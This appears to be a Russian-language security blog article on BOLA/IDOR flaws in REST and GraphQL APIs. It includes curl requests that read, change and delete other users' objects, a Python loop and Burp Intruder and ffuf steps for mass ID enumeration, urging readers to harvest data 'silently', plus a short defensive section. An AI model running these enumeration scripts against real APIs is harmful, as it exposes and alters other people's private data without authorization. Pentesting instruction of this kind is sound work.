BOLA/IDOR в REST API: итерируй всё подряд и молчи
«BOLA — это не уязвимость. Это когда разработчик забыл спросить API один простой вопрос: «а этот юзер вообще имеет право это смотреть?»» 💀
BOLA (Broken Object Level Authorization) держит первое место в OWASP API Security Top 10 уже несколько лет подряд, и присутствует в ~40% всех атак на API. Это самый простой в эксплуатации, самый частый и самый недооценённый класс багов — потому что для эксплуатации нужен не exploit, а просто число, изменённое на единицу.
🔑 Что такое BOLA и почему это не то же самое, что просто «IDOR»
API правильно тебя аутентифицирует — знает, кто ты. Но забывает проверить авторизацию — имеешь ли ты право трогать конкретный объект. IDOR — это тот же баг, просто термин из веб-приложений; в контексте API его называют BOLA.
Аутентификация: "Кто ты?" → Проверено ✅
Авторизация: "Можешь ли ты трогать ЭТОТ объект?" → НЕ проверено ❌
# Твой легитимный запрос
GET /api/orders/12345
Authorization: Bearer <твой_валидный_токен>
→ 200 OK {"order_id": 12345, "user_id": 999, "items": [...]}
# Меняем ID на соседний — токен ТОТ ЖЕ
GET /api/orders/12346
Authorization: Bearer <твой_валидный_токен>
→ 200 OK {"order_id": 12346, "user_id": 1000, "items": [...]}
# Сервер вернул чужой заказ. Поздравляю, это BOLA 🎯
🎯 Где искать: object identifiers везде
Идентификаторы объектов бывают трёх видов — и каждый требует своего подхода к атаке:
→ Sequential integers — /api/users/1, /api/users/2 → тривиальный инкремент
→ UUIDs — /api/orders/a3f9-... → нужен leak реального UUID
→ Generic strings — /api/files/report_2026 → предсказуемые паттерны
Собираем поверхность атаки через Burp/proxy:
# Проходишь приложение вручную, собираешь ВСЕ эндпоинты с ID
# GET /api/users/{id}
# GET /api/orders/{id}
# PUT /api/profile/{id}
# DELETE /api/documents/{id}
# GET /api/invoices/{id}/download
# Экспортируй историю из Burp → Site map → Save selected items
💡 Лайфхак: проверяй API documentation (Swagger/OpenAPI) — если разработчики выложили /api/docs или /swagger.json, там прямо расписаны все объекты и параметры. Экономит часы ручного сбора.
curl https://target.com/api/swagger.json | jq '.paths | keys'
curl https://target.com/api/openapi.json -o api_spec.json
🔨 Методология атаки: Account A vs Account B
Классический паттерн тестирования BOLA — два независимых аккаунта:
1. Создай Account A → создай ресурс (заказ, документ, сообщение)
2. Создай Account B → попробуй получить доступ к ресурсу Account A
3. Меняй ID в запросе от имени Account B
4. Если получил доступ — BOLA подтверждён
# Шаг 1: Account A создаёт заказ
POST /api/orders (Account A token)
→ {"order_id": "ord_A1B2C3"}
# Шаг 2: Account B пытается получить этот заказ
GET /api/orders/ord_A1B2C3
Authorization: Bearer <Account_B_token>
→ Ожидаем 403, получаем 200 = BOLA 💀
Тестируй ВСЕ HTTP-методы, не только GET:
# GET — чтение чужих данных
curl -H "Auth: Bearer $TOKEN_B" https://target.com/api/orders/12345
# PUT/PATCH — модификация чужого объекта
curl -X PATCH -H "Auth: Bearer $TOKEN_B" \
https://target.com/api/orders/12345 -d '{"status":"cancelled"}'
# DELETE — удаление чужого ресурса
curl -X DELETE -H "Auth: Bearer $TOKEN_B" \
https://target.com/api/orders/12345
# POST — создание объекта, привязанного к чужому ID
curl -X POST -H "Auth: Bearer $TOKEN_B" \
https://target.com/api/orders/12345/comments -d '{"text":"pwned"}'
🌀 Итерируй всё подряд: массовая эксплуатация
Название статьи не врёт — если один ID уязвим, скорее всего весь эндпоинт уязвим. Пиши скрипт и молча собирай данные.
import requests
TOKEN = "твой_валидный_токен"
BASE_URL = "https://target.com/api/orders"
headers = {"Authorization": f"Bearer {TOKEN}"}
leaked_data = []
for order_id in range(1, 10000):
r = requests.get(f"{BASE_URL}/{order_id}", headers=headers)
if r.status_code == 200:
leaked_data.append(r.json())
print(f"[+] Order {order_id}: {r.json().get('user_id')}")
print(f"Total leaked: {len(leaked_data)}")
# Через Burp Intruder — быстрый брутфорс числовых ID
# 1. Отправь запрос в Intruder
# 2. Выдели ID как позицию: /api/orders/§1§
# 3. Payload type: Numbers, from 1 to 50000
# 4. Смотри Grep Match на "user_id" в ответах != твоему
🔥 Для UUID-based ID: брутфорс не работает, зато работает сбор через побочные каналы — соседние API-эндпоинты, которые листят UUIDы (например, /api/public/reviews может раскрывать order_id в чужих отзывах).
# ffuf для быстрого перебора при известном паттерне ID
ffuf -w ids.txt -u "https://target.com/api/orders/FUZZ" \
-H "Authorization: Bearer $TOKEN" \
-mc 200 -o bola_results.json
🧬 BOPLA: младший брат BOLA — Object Property Level
Отдельная категория — когда доступ к объекту есть, но авторизация полей внутри него нет. Ты видишь свой профиль, но в JSON-ответе есть поля, которые вообще не должны быть в ответе для твоей роли.
// Ответ /api/users/me для обычного юзера
{
"id": 42,
"name": "John",
"email": "john@test.com",
"internal_notes": "flagged for fraud review",
"credit_score": 650,
"is_admin": false,
"password_hash": "$2b$12$..."
}
💣 Лайфхак: смотри на КАЖДОЕ поле в ответе, даже если запрос «успешен». Часто утекает служебная инфа, которую фронтенд просто не рендерит, но она лежит прямо в JSON.
🕳️ Bulk access: список объектов без фильтрации
Отдельный вектор — эндпоинты, возвращающие списки. Если пагинация не фильтрует по owner_id — можно вытащить вообще все объекты в системе.
# Обычный запрос своих заказов
GET /api/orders?page=1&limit=20
Authorization: Bearer <твой_токен>
# Что если убрать неявный фильтр через параметр?
GET /api/orders?page=1&limit=20&user_id=all
GET /api/orders?page=1&limit=9999
GET /api/orders/all
# Проверка bulk endpoint на утечку чужих данных
curl -H "Auth: Bearer $TOKEN" "https://target.com/api/orders?limit=99999" | \
jq '.[] | .user_id' | sort -u
# Если видишь МНОГО разных user_id — bulk BOLA подтверждён
🔗 GraphQL — тот же BOLA, другая обёртка
Не думай, что GraphQL спасает от BOLA — просто ID передаётся в аргументах запроса, а не в URL.
query {
order(id: "ord_12345") {
id
userId
items
paymentDetails
}
}
curl -X POST https://target.com/graphql \
-H "Authorization: Bearer $TOKEN_B" \
-d '{"query": "query { order(id: \"ord_A1B2C3\") { id userId items } }"}'
📋 Чеклист пентестера BOLA/IDOR
□ Собери ВСЕ эндпоинты с ID через Burp/OpenAPI spec
□ Заведи 2+ тестовых аккаунта разных ролей
□ Проверь GET/PUT/PATCH/DELETE/POST на каждом ID-эндпоинте
□ Тестируй с чужим токеном И без токена вообще
□ Проверь bulk-эндпоинты (списки) на фильтрацию по owner
□ Проверь GraphQL query/mutation аргументы отдельно
□ Смотри на КАЖДОЕ поле в JSON-ответе (BOPLA)
□ Если ID числовой — automate через Burp Intruder/скрипт
□ Если ID UUID — ищи leak через побочные эндпоинты
# Финальная автоматизация — nuclei template для BOLA паттернов
nuclei -u https://target.com -t exposures/apis/ -t misconfiguration/
🏆 Как защититься (для тех, кто чинит, а не ломает)
- Никогда не доверяй client-side ID — проверяй owner через session/token на сервере, а не через параметр запроса
- UUIDv4 вместо sequential integers — не решает проблему полностью, но убирает тривиальный брутфорс
- Централизованный authorization middleware — проверка на каждом эндпоинте, а не «разработчик не забыл добавить»
- Explicit response schemas — никогда не возвращай весь объект целиком, только нужные для контекста поля
Итог: BOLA — это баг, для которого не нужен exploit, нужна только внимательность и терпение менять цифры в URL. Найдёшь один уязвимый ID — пиши скрипт и итерируй молча, пока не соберёшь весь датасет. Именно так BOLA стал #1 в OWASP API Top 10 — это не сложно, это просто никто не проверяет. 😈
Похожие статьи

GraphQL: интроспекция включена, безопасность — нет

Business Logic Flaws: баги, которые сканер никогда не найдёт
